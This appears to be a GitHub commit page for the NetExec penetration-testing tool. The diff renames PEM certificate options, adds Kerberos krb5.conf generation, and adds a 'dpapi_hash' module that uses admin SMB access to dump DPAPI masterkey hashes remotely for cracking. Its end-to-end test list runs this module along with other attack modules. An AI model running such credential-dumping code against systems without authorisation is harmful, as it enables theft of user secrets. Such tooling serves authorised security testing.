Skip to content

Commit 84d896e

Browse files
authored
Merge branch 'Pennyw0rth:main' into fix-dump-files-deleting
2 parents dd6c62e + 6ce260f commit 84d896e

7 files changed

Lines changed: 98 additions & 9 deletions

File tree

nxc/cli.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -103,8 +103,8 @@ def gen_cli_args():
103103
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
104104
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
105105
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
106-
certificate_group.add_argument("--cert-pem", metavar="CERTPEM", help="Use certificate authentication from PEM file")
107-
certificate_group.add_argument("--key-pem", metavar="KEYPEM", help="Private key for the PEM format")
106+
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
107+
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
108108

109109
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
110110
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")

nxc/connection.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -550,7 +550,7 @@ def login(self):
550550
self.logger.info("Successfully authenticated using Kerberos cache")
551551
return True
552552

553-
if self.args.pfx_cert or self.args.pfx_base64 or self.args.cert_pem:
553+
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
554554
self.logger.debug("Trying to authenticate using Certificate pfx")
555555
if not self.args.username:
556556
self.logger.fail("You must specify a username when using certificate authentication")

nxc/helpers/pfx.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -496,8 +496,8 @@ def pfx_auth(self):
496496
if self.args.pfx_cert or self.args.pfx_base64:
497497
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
498498
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
499-
elif self.args.cert_pem and self.args.key_pem:
500-
ini = myPKINIT.from_pem(self.args.cert_pem, self.args.key_pem, dhparams)
499+
elif self.args.pem_cert and self.args.pem_key:
500+
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
501501
else:
502502
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
503503
return None

nxc/modules/dpapi_hash.py

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
from dploot.lib.target import Target
2+
from dploot.triage.masterkeys import MasterkeysTriage
3+
4+
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
5+
6+
# Based on dpapimk2john, original work by @fist0urs
7+
8+
class NXCModule:
9+
name = "dpapi_hash"
10+
description = "Remotely dump Dpapi hash based on masterkeys"
11+
supported_protocols = ["smb"]
12+
opsec_safe = True
13+
multiple_hosts = True
14+
15+
def options(self, context, module_options):
16+
"""OUTPUTFILE Output file to write hashes"""
17+
self.outputfile = None
18+
if "OUTPUTFILE" in module_options:
19+
self.outputfile = module_options["OUTPUTFILE"]
20+
21+
def on_admin_login(self, context, connection):
22+
username = connection.username
23+
password = getattr(connection, "password", "")
24+
nthash = getattr(connection, "nthash", "")
25+
26+
target = Target.create(
27+
domain=connection.domain,
28+
username=username,
29+
password=password,
30+
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
31+
lmhash=getattr(connection, "lmhash", ""),
32+
nthash=nthash,
33+
do_kerberos=connection.kerberos,
34+
aesKey=connection.aesKey,
35+
no_pass=True,
36+
use_kcache=getattr(connection, "use_kcache", False),
37+
)
38+
39+
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
40+
if conn is None:
41+
context.log.debug("Could not upgrade connection")
42+
return
43+
44+
try:
45+
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
46+
masterkeys_triage = MasterkeysTriage(
47+
target=target,
48+
conn=conn,
49+
)
50+
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
51+
context.log.debug("Collecting user masterkeys")
52+
masterkeys_triage.triage_masterkeys()
53+
if self.outputfile is not None:
54+
with open(self.outputfile, "a+") as fd:
55+
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
56+
context.log.highlight(mkhash)
57+
fd.write(f"{mkhash}\n")
58+
else:
59+
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
60+
context.log.highlight(mkhash)
61+
62+
except Exception as e:
63+
context.log.debug(f"Could not get masterkeys: {e}")

nxc/protocols/smb.py

Lines changed: 26 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -318,7 +318,7 @@ def print_host_info(self):
318318
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
319319
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
320320

321-
if self.args.generate_hosts_file:
321+
if self.args.generate_hosts_file or self.args.generate_krb5_file:
322322
from impacket.dcerpc.v5 import nrpc, epm
323323
self.logger.debug("Performing authentication attempts...")
324324
isdc = False
@@ -328,9 +328,31 @@ def print_host_info(self):
328328
except DCERPCException:
329329
self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!")
330330

331-
with open(self.args.generate_hosts_file, "a+") as host_file:
332-
host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n")
333-
self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}")
331+
if self.args.generate_hosts_file:
332+
with open(self.args.generate_hosts_file, "a+") as host_file:
333+
host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n")
334+
self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}")
335+
elif self.args.generate_krb5_file and isdc:
336+
with open(self.args.generate_krb5_file, "w+") as host_file:
337+
data = f"""
338+
[libdefaults]
339+
dns_lookup_kdc = false
340+
dns_lookup_realm = false
341+
default_realm = { self.domain.upper() }
342+
343+
[realms]
344+
{ self.domain.upper() } = {{
345+
kdc = { self.hostname.lower() }.{ self.domain }
346+
admin_server = { self.hostname.lower() }.{ self.domain }
347+
default_domain = { self.domain }
348+
}}
349+
350+
[domain_realm]
351+
.{ self.domain } = { self.domain.upper() }
352+
{ self.domain } = { self.domain.upper() }
353+
"""
354+
host_file.write(data)
355+
self.logger.debug(data)
334356

335357
return self.host, self.hostname, self.targetDomain
336358

nxc/protocols/smb/proto_args.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@ def proto_args(parser, parents):
2121
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
2222
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
2323
smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
24+
smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
2425
self_delegate_arg.make_required = [delegate_arg]
2526

2627
cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")

tests/e2e_commands.txt

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
netexec -h
33
##### SMB
44
netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile
5+
netexec smb TARGET_HOST --generate-krb5-file /tmp/krb5conf
56
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
67
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
78
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
@@ -65,6 +66,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-comp
6566
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
6667
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
6768
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
69+
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
70+
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash -o OUTPUTFILE=hashes.txt
6871
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
6972
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
7073
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener

0 commit comments

Comments
 (0)